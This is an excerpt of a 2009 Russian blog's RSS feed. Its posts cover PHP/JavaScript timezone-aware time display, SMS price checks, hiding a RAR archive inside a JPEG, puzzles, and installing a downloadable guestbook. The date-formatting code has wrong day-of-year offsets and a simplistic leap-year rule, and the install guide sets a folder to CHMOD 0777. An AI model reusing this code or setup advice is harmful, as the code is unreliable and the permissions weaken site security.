		<guid isPermaLink="false">http://blogfigaroo.ru/?p=582</guid>
		<description><![CDATA[Здравствуйте. Здесь и&#160;сейчас я&#160;расскажу об&#160;автоматическом определении часового пояса в&#160;Ваших WEB-приложениях. :-) Обычно, сайты и&#160;форумы показывают&#160;Вам время в&#160;том часовом поясе, в&#160;котором расположен сервер с&#160;просматриваемым Вами сайтом. Реже&#160;&#8212; предлагают ручной выбор часового пояса. Сейчас&#160;же мы&#160;рассмотрим уникальный метод автоматического определения часового пояса, что&#160;позволит&#160;нам показать пользователю время в&#160;том часовом поясе, в&#160;котором он&#160;находится. В&#160;книге &#171;PHP&#160;5&#187; (серия &#171;В подлиннике&#187;) издательства &#171;БХВ-Петербург&#187; [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте. Здесь и&nbsp;сейчас я&nbsp;расскажу об&nbsp;автоматическом определении часового пояса в&nbsp;Ваших WEB-приложениях. :-)</p>
<p>Обычно, сайты и&nbsp;форумы показывают&nbsp;Вам время в&nbsp;том часовом поясе, в&nbsp;котором расположен сервер с&nbsp;просматриваемым Вами сайтом. Реже&nbsp;&mdash; предлагают ручной выбор часового пояса. Сейчас&nbsp;же мы&nbsp;рассмотрим <strong>уникальный метод автоматического определения часового пояса</strong>, что&nbsp;позволит&nbsp;нам показать пользователю время в&nbsp;том часовом поясе, в&nbsp;котором он&nbsp;находится.<br />
<span id="more-582"></span></p>
<p>В&nbsp;книге &laquo;PHP&nbsp;5&raquo; (серия &laquo;В подлиннике&raquo;) издательства &laquo;БХВ-Петербург&raquo; Дмитрия Котерова и&nbsp;Алексея Костарева авторы пишут:</p>
<blockquote><p>Можно&nbsp;ли автоматически определить часовой пояс пользователя, который запустил скрипт из&nbsp;браузера? К&nbsp;сожалению, нет: в&nbsp;протоколе HTTP не&nbsp;существует заголовков запроса, предназначенных для&nbsp;передачи этой информации. Остаётся единственный метод &mdash; запросить зону у&nbsp;пользователя явно (например, при&nbsp;регистрации) и&nbsp;сохранить&nbsp;её где-нибудь для&nbsp;дальнейшего использования.</p></blockquote>
<p>Протокол HTTP действительно не&nbsp;расчитан на&nbsp;передачу часового пояса или&nbsp;времени пользователя браузером на&nbsp;сервер. Но&nbsp;авторы не&nbsp;правы.<br />
Наш&nbsp;метод будет заключаться в&nbsp;том, что&nbsp;мы не&nbsp;будем определять часовой пояс напрямую.</p>
<p>Допустим, пользователи могут в&nbsp;нашей системе оставлять комментарии.</p>
<p>При сохранении времени комментария&nbsp;&mdash; мы&nbsp;сохраняем текущее время сервера в&nbsp;качестве времени комментария.</p>
<p><em>Алгоритм отображения времени следующий:</em><br />
<b>1.</b> Вычислить разницу между текущим временем сервера и&nbsp;временем комментария<br />
<b>2.</b> Передать разницу JS-скрипту<br />
<b>3.</b> С&nbsp;помощью JavaScript'а вычитаем разницу из&nbsp;текущего времени пользователя<br />
<b>4.</b> Выводим время в&nbsp;нужном формате</p>
<p><strong>На&nbsp;практике нам&nbsp;пригодятся несколько функций.</strong></p>
<p><strong>PHP-функция преобразования даты и&nbsp;времени</strong> из&nbsp;формата <strong>MySQL DATE</strong> или&nbsp;<strong>DATETIME</strong> в&nbsp;количество секунд, прошедших с&nbsp;начала эпохи UNIX до&nbsp;заданной даты:<br />
<pre class="brush: php">
function dataAndTime($text) {
	$text = (string)$text;
	$dt = explode(&quot; &quot;, $text);
	$d = explode(&quot;-&quot;, @$dt[0]);
	$t = explode(&quot;:&quot;, @$dt[1]);
	if (count($t) != 3) $t = array(12, 0, 0);
	if (count($d) != 3) {
		trigger_error(&quot;dataAndTime error&quot;);
		return -1;
	}
	if ($d[0] &lt; 1900) return -1;
	return (int)mktime($t[0], $t[1], $t[2], $d[1], $d[2], $d[0]);
}
</pre></p>
<p><strong>PHP-функция вывода времени</strong> (можно также использовать в&nbsp;качестве Smarty-модификатора):<br />
<pre class="brush: php">
function writeTime($time, $format) {
	$time1 = dataAndTime($time);
	$time2 = time() - $time1;
	return &#039;&lt;noscript&gt;&#039;.gmdate(preg_replace(&quot;#\{([a-zA-Z])\}#uis&quot;, &quot;$1&quot;, $format), $time1).&#039; [GMT]&lt;/noscript&gt;&lt;script type=&quot;text/javascript&quot;&gt;writeTime(&#039;.$time2.&#039;, &quot;&#039;.$format.&#039;&quot;);&lt;/script&gt;&#039;;
}
</pre></p>
<p>Таким образом, если Вы&nbsp;получите из&nbsp;MySQL время вида "2009-10-07 19:20:12" и&nbsp;отправите&nbsp;его в&nbsp;php-функцию writeTime, то&nbsp;эта функция сгенерирует следующий HTML-код:<br />
<pre class="brush: html">
&lt;noscript&gt;7 October 2009, 15:20 [GMT]&lt;/noscript&gt;&lt;script type=&quot;text/javascript&quot;&gt;writeTime(323, &quot;{j} {F} {Y}, {H}:{i}&quot;);&lt;/script&gt;
</pre></p>
<p>Здесь "{j} {F} {Y}, {H}:{i}" &mdash; формат вывода времени (второй параметр php-функции writeTime). Об&nbsp;этом чуть позже.</p>
<p>Если у&nbsp;человека выключены&nbsp;JS (что очень маловероятно) &mdash; он&nbsp;увидит время по&nbsp;Гринвичу.<br />
Если&nbsp;JS включены&nbsp;&mdash; будет вызвана js-<strong>функция отображения времени</strong> writeTime. Вот&nbsp;её&nbsp;код:<br />
<pre class="brush: js">
function writeTime(time, format) {
	document.write(phpDate(format, time));
}
</pre></p>
<p>Эта&nbsp;функция вызывает <strong>js-функцию форматирования даты, аналогичной php-функции date</strong> (только параметры замены передаются в&nbsp;фигурных скобках):<br />
<pre class="brush: js">
// функция-аналог PHP-функции date
function phpDate (text, start_time) {
	// языковые настройки
	var LANG = new Array();
	LANG[&#039;tm&#039;] = new Array(&#039;&#039;, &#039;января&#039;, &#039;февраля&#039;, &#039;марта&#039;, &#039;апреля&#039;, &#039;мая&#039;, &#039;июня&#039;, &#039;июля&#039;, &#039;августа&#039;, &#039;сентября&#039;, &#039;октября&#039;, &#039;ноября&#039;, &#039;декабря&#039;);
	LANG[&#039;stm&#039;] = new Array(&#039;&#039;, &#039;янв&#039;, &#039;фев&#039;, &#039;мар&#039;, &#039;апр&#039;, &#039;май&#039;, &#039;июн&#039;, &#039;июл&#039;, &#039;авг&#039;, &#039;сен&#039;, &#039;окт&#039;, &#039;ноя&#039;, &#039;дек&#039;);
	LANG[&#039;td&#039;] = new Array(&#039;&#039;, &#039;Понедельник&#039;, &#039;Вторник&#039;, &#039;Среда&#039;, &#039;Четверг&#039;, &#039;Пятница&#039;, &#039;Суббота&#039;, &#039;Воскресенье&#039;);
	LANG[&#039;std&#039;] = new Array(&#039;&#039;, &#039;Пн&#039;, &#039;Вт&#039;, &#039;Ср&#039;, &#039;Чт&#039;, &#039;Пт&#039;, &#039;Сб&#039;, &#039;Вс&#039;);
	// работаем
	text = &quot; &quot; + text + &quot; &quot;;
	var firstdate = new Date();
	var user_time = Math.floor(firstdate.getTime() / 1000);
	var date = new Date((user_time - start_time) * 1000);
	var year = date.getFullYear();
	text = text.replace(/{Y}/g, year); // год числом, 4 цифры
	text = text.replace(/{y}/g, year.toString().substr(2,2)); // год числом, 2 цифры
	if ((year/4) == Math.round(year/4)) {
		text = text.replace(/{L}/g, &quot;1&quot;); // високосный год
	} else {
		text = text.replace(/{L}/g, &quot;0&quot;); // невисокосный год
	}
	var month = date.getMonth() + 1;
	text = text.replace(/{n}/g, month); // месяц числом, 1-2 цифры
	var monthn = (month &lt; 10 ? &#039;0&#039; + month : month);
	text = text.replace(/{m}/g, monthn); // месяц числом, 2 цифры
	var textmonth = LANG[&#039;tm&#039;][month];
	var shorttextmonth = LANG[&#039;stm&#039;][month];
	var mnthct, startday;
	switch (month) {
		case 1: mnthct = 31; startday = 0; break;
		case 2: mnthct = ((year/4) == Math.round(year/4) ? 29 : 28); startday = 31; break;
		case 3: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 60 : 59); break;
		case 4: mnthct = 30; startday = ((year/4) == Math.round(year/4) ? 91 : 90); break;
		case 5: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 121 : 120); break;
		case 6: mnthct = 30; startday = ((year/4) == Math.round(year/4) ? 152 : 151); break;
		case 7: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 182 : 181); break;
		case 8: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 213 : 212); break;
		case 9: mnthct = 30; startday = ((year/4) == Math.round(year/4) ? 234 : 233); break;
		case 10: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 264 : 263); break;
		case 11: mnthct = 30; startday = ((year/4) == Math.round(year/4) ? 295 : 294); break;
		case 12: mnthct = 31; startday = ((year/4) == Math.round(year/4) ? 335 : 334); break;
		default: return false;
	}
	text = text.replace(/{F}/g, textmonth); // месяц прописью, полное название
	text = text.replace(/{M}/g, shorttextmonth); // месяц прописью, короткое название
	text = text.replace(/{t}/g, mnthct); // количество дней в месяце
	var number = date.getDate();
	text = text.replace(/{j}/g, number); // число числом, 1-2 цифры
	var numbern = (number &lt; 10 ? &#039;0&#039; + number : number);
	text = text.replace(/{d}/g, numbern); // число числом, 2 цифры
	var suffday = &#039;&#039;;
	suffday = get_suffday(number);
	text = text.replace(/{S}/g, suffday); // суффикс числа
	var nday = startday + number;
	text = text.replace(/{z}/g, nday); // номер дня в году числом
	var nweek = Math.ceil(nday/7);
	text = text.replace(/{W}/g, nweek); // номер недели в году числом
	var day = date.getDay();
	if (day == 0) day = 7;
	text = text.replace(/{w}/g, day); // день недели числом
	var textday = LANG[&#039;td&#039;][day];
	var shorttextday = LANG[&#039;std&#039;][day];
	text = text.replace(/{l}/g, textday); // день недели прописью, полное название
	text = text.replace(/{D}/g, shorttextday); // день недели прописью, короткое название
	var hours24 = date.getHours();
	var hours24n = (hours24 &lt; 10 ? &#039;0&#039; + hours24 : hours24);
	var hours12 = (hours24 &gt; 12 ? hours24 - 12 : hours24);
	var hours12n = (hours12 &lt; 10 ? &#039;0&#039; + hours12 : hours12);
	text = text.replace(/{g}/g, hours12); // часы числом, 1-2 цифры, 12-часовой формат
	text = text.replace(/{G}/g, hours24); // часы числом, 1-2 цифры, 24-часовой формат
	text = text.replace(/{h}/g, hours12n); // часы числом, 2 цифры, 12-часовой формат
	text = text.replace(/{H}/g, hours24n); // часы числом, 2 цифры, 24-часовой формат
	var minutes = date.getMinutes();
	var minutesn = (minutes &lt; 10 ? &#039;0&#039; + minutes : minutes);
	text = text.replace(/{i}/g, minutesn); // минуты числом, 2 цифры
	var seconds = date.getSeconds();
	var secondsn = (seconds &lt; 10 ? &#039;0&#039; + seconds : seconds);
	text = text.replace(/{s}/g, secondsn); // секунды числом, 2 цифры
	if (hours24 &gt; 12) {
		text = text.replace(/{a}/g, &quot;pm&quot;);
		text = text.replace(/{A}/g, &quot;PM&quot;);
	} else {
		text = text.replace(/{a}/g, &quot;am&quot;);
		text = text.replace(/{A}/g, &quot;AM&quot;);
	}
	return text;
}
</pre></p>
<p>Если наш&nbsp;формат&nbsp;&mdash; "{j} {F} {Y}, {H}:{i}", в&nbsp;браузере появится следующее:</p>
<blockquote><p>7&nbsp;октября&nbsp;2009, 19:20</p></blockquote>
<p>Если на&nbsp;компьютере изменить настройки времени, то&nbsp;изменится и&nbsp;время на&nbsp;сайте.</p>
<p><strong>Авторы&nbsp;&mdash; Figaroo&nbsp;&&nbsp;Bloodthrist.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/webdev/avto-opredelenie-chasovogo-poyasa/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Как проверить стоимость sms на короткий номер?</title>
		<link>http://blogfigaroo.ru/2009/10/misc/kak-proverit-stoimost-sms-na-korotkij-nomer/</link>
		<comments>http://blogfigaroo.ru/2009/10/misc/kak-proverit-stoimost-sms-na-korotkij-nomer/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 17:59:30 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мобилка]]></category>
		<category><![CDATA[полезное по жизни]]></category>
		<category><![CDATA[телекомы]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=677</guid>
		<description><![CDATA[Если Вы&#160;хотите проверить реальную стоимость sms&#160;сообщения на&#160;короткий номер контент-провайдер мобильного оператора (дабы узнать, не&#160;лохотрон&#160;ли это&#160;или&#160;развод), для&#160;этого существует пара способов. Мегафон предоставляет информацию о&#160;контент-провайдерах здесь. В&#160;Теле2 для&#160;этого нужно просто напросто набрать с&#160;Вашего телефона комбинацию *125*номер#, где&#160;слово номер&#160;&#8212; это&#160;короткий номер, который нужно проверить. У МТС есть специальный номер 2282, на который можно послать sms-сообщение с номером, стоимость [...]]]></description>
			<content:encoded><![CDATA[<p>Если Вы&nbsp;хотите проверить <strong>реальную стоимость sms&nbsp;сообщения на&nbsp;короткий номер контент-провайдер мобильного оператора</strong> (дабы узнать, не&nbsp;лохотрон&nbsp;ли это&nbsp;или&nbsp;развод), для&nbsp;этого существует пара способов.</p>
<p><strong>Мегафон</strong> предоставляет информацию о&nbsp;контент-провайдерах <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fszf.megafon.ru%2Finfo%2Frus%2Fservices%2Fservnumber&hash=7IHNZUIASZS4WSKWWWKOWSGKG">здесь</a>.</p>
<p>В&nbsp;<strong>Теле2</strong> для&nbsp;этого нужно просто напросто набрать с&nbsp;Вашего телефона комбинацию <strong>*125*номер#</strong>, где&nbsp;слово <em>номер</em>&nbsp;&mdash; это&nbsp;короткий номер, который нужно проверить.</p>
<p>У <strong>МТС</strong> есть специальный номер <strong>2282</strong>, на который можно послать sms-сообщение с номером, стоимость сообщений на который вы хотите узнать. Пример: отправляете SMS с текстом 1234 на номер 2282, получате ответное SMS, в котором указана стоимость сообщения и другая информация. Бесплатно в домашнем регионе.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/10/misc/kak-proverit-stoimost-sms-na-korotkij-nomer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Стеганография: JPEG+RAR</title>
		<link>http://blogfigaroo.ru/2009/09/misc/steganografiya-jpg-rar/</link>
		<comments>http://blogfigaroo.ru/2009/09/misc/steganografiya-jpg-rar/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 18:39:09 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[стеганография]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=672</guid>
		<description><![CDATA[Поделюсь простым приёмом стеганографии. Что&#160;такое стеганография? Согласно словарю, &#171;это&#160;наука о&#160;скрытой передаче информации путём сохранения в&#160;тайне самого факта передачи. В&#160;отличие от&#160;криптографии, которая скрывает содержимое секретного сообщения, стеганография скрывает само его&#160;существование.&#187; Сегодня мы&#160;попробуем замаскировать RAR-архив под&#160;JPEG-картинку. Формат&#160;JPG (JPEG) устроен таким образом, что&#160;сначала в&#160;файле идёт заголовок (различная мета-информация о&#160;файле, невидимая пользователю), затем значащее содержимое, а&#160;после этого может идти [...]]]></description>
			<content:encoded><![CDATA[<p>Поделюсь простым приёмом стеганографии.<br />
Что&nbsp;такое <strong>стеганография</strong>? Согласно словарю, &laquo;это&nbsp;наука о&nbsp;скрытой передаче информации путём сохранения в&nbsp;тайне самого факта передачи. В&nbsp;отличие от&nbsp;криптографии, которая скрывает содержимое секретного сообщения, стеганография скрывает само его&nbsp;существование.&raquo;</p>
<p>Сегодня мы&nbsp;попробуем <strong>замаскировать RAR-архив под&nbsp;JPEG-картинку</strong>.<br />
<strong>Формат&nbsp;JPG</strong> (JPEG) устроен таким образом, что&nbsp;сначала в&nbsp;файле идёт заголовок (различная мета-информация о&nbsp;файле, невидимая пользователю), затем значащее содержимое, а&nbsp;после этого может идти любое количество любой информации.<br />
В&nbsp;<strong>формате RAR</strong>, наоборот, до&nbsp;заголовка может идти любая информация.<br />
Таким образом, если в&nbsp;один файл поместить заголовок и&nbsp;содержимое картинки, а&nbsp;потом заголовок и&nbsp;содержимое архива, и&nbsp;дать файлу расширение &laquo;jpg&raquo;, то&nbsp;посторонний человек не&nbsp;догадается, что&nbsp;в&nbsp;картинке есть что-то&nbsp;ещё.<br />
Такую псевдокартинку можно загрузить на&nbsp;онлайн-сервис хранения картинок, отредактировать в&nbsp;графическом редакторе или&nbsp;просто просмотреть&nbsp;&mdash; с&nbsp;виду это&nbsp;обычная картинка. Но, если открыть этот файл архиватором&nbsp;&mdash; мы&nbsp;получим работоспособный архив.</p>
<p>Чтобы создать такую картинку-архив в&nbsp;Windows, необходимо создать и&nbsp;запустить файл с&nbsp;расширением &laquo;bat&raquo; и&nbsp;следующим содержимым:</p>
<blockquote><p>copy /B image.jpg + data.rar secret.jpg</p></blockquote>
<p>После запуска этого файла, будут склеены картинка image.jpg и&nbsp;архив data.rar в&nbsp;секретную <strong>картинку-архив</strong> secret.jpg.<br />
Если Вы&nbsp;поставите сложный пароль на&nbsp;архив, то&nbsp;даже в&nbsp;случае обнаружения подмены, враг не&nbsp;сможет получить доступ к&nbsp;Вашим данным.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/09/misc/steganografiya-jpg-rar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Угадай места</title>
		<link>http://blogfigaroo.ru/2009/09/misc/ugadaj-mesta/</link>
		<comments>http://blogfigaroo.ru/2009/09/misc/ugadaj-mesta/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 20:41:26 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[интересное]]></category>
		<category><![CDATA[лулзы]]></category>
		<category><![CDATA[фотки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=662</guid>
		<description><![CDATA[Попробуйте угадать, что&#160;это за&#160;места: Правильные ответы expand(document.getElementById('ddet10386355'));expand(document.getElementById('ddetlink10386355')) Место 1 - Королевский Парк, Торонто, Канада; Место 2 - St.&#160;James Town, город недалеко от&#160;Торонто; Место 3 - Каир. ;-)]]></description>
			<content:encoded><![CDATA[<p>Попробуйте угадать, что&nbsp;это за&nbsp;места:</p>
<div id="attachment_661" class="wp-caption aligncenter" style="width: 210px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros1.jpg" rel="shadowbox[post-662];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros1-200x300.jpg" alt="Место 1" title="vopros1.jpg" width="200" height="300" class="size-medium wp-image-661" /></a><p class="wp-caption-text">Место 1</p></div>
<p><span id="more-662"></span></p>
<div id="attachment_664" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros2.jpg" rel="shadowbox[post-662];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros2-300x225.jpg" alt="Место 2" title="vopros2.jpg" width="300" height="225" class="size-medium wp-image-664" /></a><p class="wp-caption-text">Место 2</p></div>
<div id="attachment_663" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros3.jpg" rel="shadowbox[post-662];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/09/vopros3-300x205.jpg" alt="Место 3" title="vopros3.jpg" width="300" height="205" class="size-medium wp-image-663" /></a><p class="wp-caption-text">Место 3</p></div>
<p><a style="display:none;" id="ddetlink1483585861" href="javascript:expand(document.getElementById('ddet1483585861'))">Правильные ответы</a>
<div class="ddet_div" id="ddet1483585861"><script language="JavaScript" type="text/javascript">expand(document.getElementById('ddet1483585861'));expand(document.getElementById('ddetlink1483585861'))</script>
Место 1 - Королевский Парк, Торонто, Канада;<br />
Место 2 - St.&nbsp;James Town, город недалеко от&nbsp;Торонто;<br />
Место 3 - Каир. ;-)<br />
</div></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/09/misc/ugadaj-mesta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>О поиске по блогу</title>
		<link>http://blogfigaroo.ru/2009/09/misc/o-poiske-po-blogu/</link>
		<comments>http://blogfigaroo.ru/2009/09/misc/o-poiske-po-blogu/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 07:21:39 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[лулзы]]></category>
		<category><![CDATA[мысли о смысле]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=635</guid>
		<description><![CDATA[&#8212;&#160;О,&#160;Великий Думатель, скажи&#160;мне ответ на&#160;главный вопрос о&#160;том, как&#160;реализовать поиск по&#160;моему блогу. Заюзать&#160;ли мне полнотекстовый поиск MySQL, простой поиск с&#160;помощью оператора LIKE или&#160;нахрен сделать поиск с&#160;учётом морфологии языка, как&#160;в&#160;Яндексе? &#8212;&#160;Приходите через восемь миллионов&#160;лет. &#8212;&#160;Но&#160;я&#160;же сдохну, Великий Думатель...]]></description>
			<content:encoded><![CDATA[<blockquote><p>
&mdash;&nbsp;О,&nbsp;Великий Думатель, скажи&nbsp;мне ответ на&nbsp;главный вопрос о&nbsp;том, как&nbsp;реализовать поиск по&nbsp;моему блогу. Заюзать&nbsp;ли мне полнотекстовый поиск MySQL, простой поиск с&nbsp;помощью оператора LIKE или&nbsp;нахрен сделать поиск с&nbsp;учётом морфологии языка, как&nbsp;в&nbsp;Яндексе?<br />
&mdash;&nbsp;Приходите через восемь миллионов&nbsp;лет.<br />
&mdash;&nbsp;Но&nbsp;я&nbsp;же сдохну, Великий Думатель...
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/09/misc/o-poiske-po-blogu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Задача на программерское мышление</title>
		<link>http://blogfigaroo.ru/2009/09/misc/zadacha-na-programmerskoe-myshlenie/</link>
		<comments>http://blogfigaroo.ru/2009/09/misc/zadacha-na-programmerskoe-myshlenie/#comments</comments>
		<pubDate>Sat, 19 Sep 2009 13:40:52 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[задачки]]></category>
		<category><![CDATA[интересное]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=620</guid>
		<description><![CDATA[Задача. Ползут три&#160;черепахи. Вторая говорит, что&#160;ползёт впереди всех, первая&#160;&#8212; что&#160;ползёт между второй и&#160;третьей, а&#160;последняя черепаха говорит, что&#160;ползёт между второй и&#160;первой. Внимание, вопрос: как&#160;такое может быть? UPD: показать ответ expand(document.getElementById('ddet963317783'));expand(document.getElementById('ddetlink963317783'))Одна из&#160;черепах врёт.]]></description>
			<content:encoded><![CDATA[<p>Задача. Ползут три&nbsp;черепахи. Вторая говорит, что&nbsp;ползёт впереди всех, первая&nbsp;&mdash; что&nbsp;ползёт между второй и&nbsp;третьей, а&nbsp;последняя черепаха говорит, что&nbsp;ползёт между второй и&nbsp;первой. Внимание, вопрос: как&nbsp;такое может быть?</p>
<p><u>UPD:</u> <a style="display:none;" id="ddetlink716047700" href="javascript:expand(document.getElementById('ddet716047700'))">показать ответ</a>
<div class="ddet_div" id="ddet716047700"><script language="JavaScript" type="text/javascript">expand(document.getElementById('ddet716047700'));expand(document.getElementById('ddetlink716047700'))</script>Одна из&nbsp;черепах врёт.</div></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/09/misc/zadacha-na-programmerskoe-myshlenie/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Figaroo Guestbook</title>
		<link>http://blogfigaroo.ru/2009/08/webdev/figaroo-guestbook/</link>
		<comments>http://blogfigaroo.ru/2009/08/webdev/figaroo-guestbook/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 16:12:15 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=603</guid>
		<description><![CDATA[По&#160;просьбе тунеядцев трудящихся выкладываю исходники своей старой гостевой книги, написанной более 2-х&#160;лет назад, когда я&#160;начинал изучение web-программирования. Предупреждение: Приложение Гостевая книга (Figaroo Guestbook) предоставляется КАК ЕСТЬ, без&#160;каких-либо гарантий и&#160;обязательств. Вы&#160;можете использовать её&#160;на&#160;Ваш собственный страх и&#160;риск. Автор приложения не&#160;несёт никакой ответственности за&#160;Ваши действия и&#160;работу приложения. Скачивая исходники гостевой книги по&#160;ссылке ниже, Вы&#160;соглашаетесь с&#160;Настоящим предупреждением. Скачать исходник [...]]]></description>
			<content:encoded><![CDATA[<p>По&nbsp;просьбе <s>тунеядцев</s> трудящихся выкладываю <strong>исходники</strong> своей старой <strong>гостевой книги</strong>, написанной более 2-х&nbsp;лет назад, когда я&nbsp;начинал изучение web-программирования.</p>
<div id="attachment_627" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2009/08/figaroogb_screenshot_19092009.jpg" rel="shadowbox[post-603];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2009/08/figaroogb_screenshot_19092009-300x155.jpg" alt="Figaroo GuestBook" title="figaroogb_screenshot_19092009.jpg" width="300" height="155" class="size-medium wp-image-627" /></a><p class="wp-caption-text">Figaroo GuestBook</p></div>
<p><span id="more-603"></span></p>
<p><u>Предупреждение:</u><br />
Приложение Гостевая книга (<strong>Figaroo Guestbook</strong>) предоставляется КАК ЕСТЬ, без&nbsp;каких-либо гарантий и&nbsp;обязательств. Вы&nbsp;можете использовать её&nbsp;на&nbsp;Ваш собственный страх и&nbsp;риск. Автор приложения не&nbsp;несёт никакой ответственности за&nbsp;Ваши действия и&nbsp;работу приложения. Скачивая исходники гостевой книги по&nbsp;ссылке ниже, Вы&nbsp;соглашаетесь с&nbsp;Настоящим предупреждением. </p>
<p><strong>Скачать</strong> исходник FigarooGB: <strong><a href='http://blogfigaroo.ru/wp-content/uploads/2009/08/figaroogb.rar'>figaroogb.rar</a></strong>. </p>
<p><u>Если&nbsp;Вы всё&nbsp;же решились и&nbsp;скачали</u> =)<br />
Гостевая книга писалась очень давно, когда я&nbsp;начинал изучение web-программирования, в&nbsp;учебных целях, поэтому не&nbsp;ждите от&nbsp;неё каких-то мега-возможностей. Она&nbsp;не&nbsp;поддерживает (в&nbsp;отличие, скажем, от&nbsp;<strong>FFS</strong> или&nbsp;<strong>FMB</strong>) UTF-8, ЧПУ, в&nbsp;ней&nbsp;нет админ-центра для&nbsp;изменения настроек из&nbsp;браузера. Ниже описан процесс установки. Если Вы&nbsp;поставили гесту себе (пусть даже в&nbsp;тестовых целях)&nbsp;&mdash; не&nbsp;поленитесь, напишите отзыв в&nbsp;комменты. :-)</p>
<p><u>Процесс установки</u><br />
<b>1.</b> Скопируйте все&nbsp;файлы на&nbsp;сервер, кроме файла <strong>figaroogb.sql</strong>.<br />
<b>2.</b> Отредактируйте файл <strong>config.php</strong>, пропишите URL-адрес гостевой книги (например, "http://localhost/figaroogb/"), секретное слово, настройки для&nbsp;подключения к&nbsp;базе данных MySQL.<br />
<b>3.</b> Импортируйте файл <strong>figaroogb.sql</strong> в&nbsp;качестве sql-дампа в&nbsp;Вашу базу данных.<br />
<b>4.</b> Установите CHMOD&nbsp;права&nbsp;0777 на&nbsp;папку <strong>avatars</strong>.<br />
<b>5.</b> Войдите в&nbsp;управление СУБД (например, phpMyAdmin) и, если нужно, вручную отредактируйте следующее: в&nbsp;таблице <strong>fgb_longdata</strong> элементы оформления гостевой книги, в&nbsp;таблице <strong>fgb_settings</strong> некоторые настройки, по&nbsp;названиям полей разберётесь. ;-)</p>
<p>Успехов! :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2009/08/webdev/figaroo-guestbook/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Переход с ICQ на Jabber: начало</title>
		<link>http://blogfigaroo.ru/2009/06/misc/perexod-s-icq-na-jabber-nachalo/</link>
		<comments>http://blogfigaroo.ru/2009/06/misc/perexod-s-icq-na-jabber-nachalo/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 16:11:48 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[IM-общение]]></category>
		<category><![CDATA[Jabber]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=550</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели. :-) Это&#160;первая серия художественного фильма, в&#160;которой я&#160;расскажу, почему я&#160;захотел перейти с&#160;ICQ на&#160;Jabber, о&#160;недостатках &#171;аськи&#187; и&#160;преимуществах &#171;джаббера&#187;. Во&#160;второй части я&#160;расскажу о&#160;преимуществах джаббера и&#160;о&#160;том, с&#160;какими трудностями столкнулся при&#160;переходе и&#160;как&#160;их преодолел. Но,&#160;сегодня первая часть. Во-первых, ICQ&#160;&#8212; закрытый протокол обмена сообщениями, система, контролируемая компанией&#160;AOL. Например, по&#160;их&#160;лицензии все&#160;права на&#160;передаваемые Вами данные принадлежат&#160;им. Во-вторых, эти&#160;AOL всячески пытаются блокировать [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели. :-)<br />
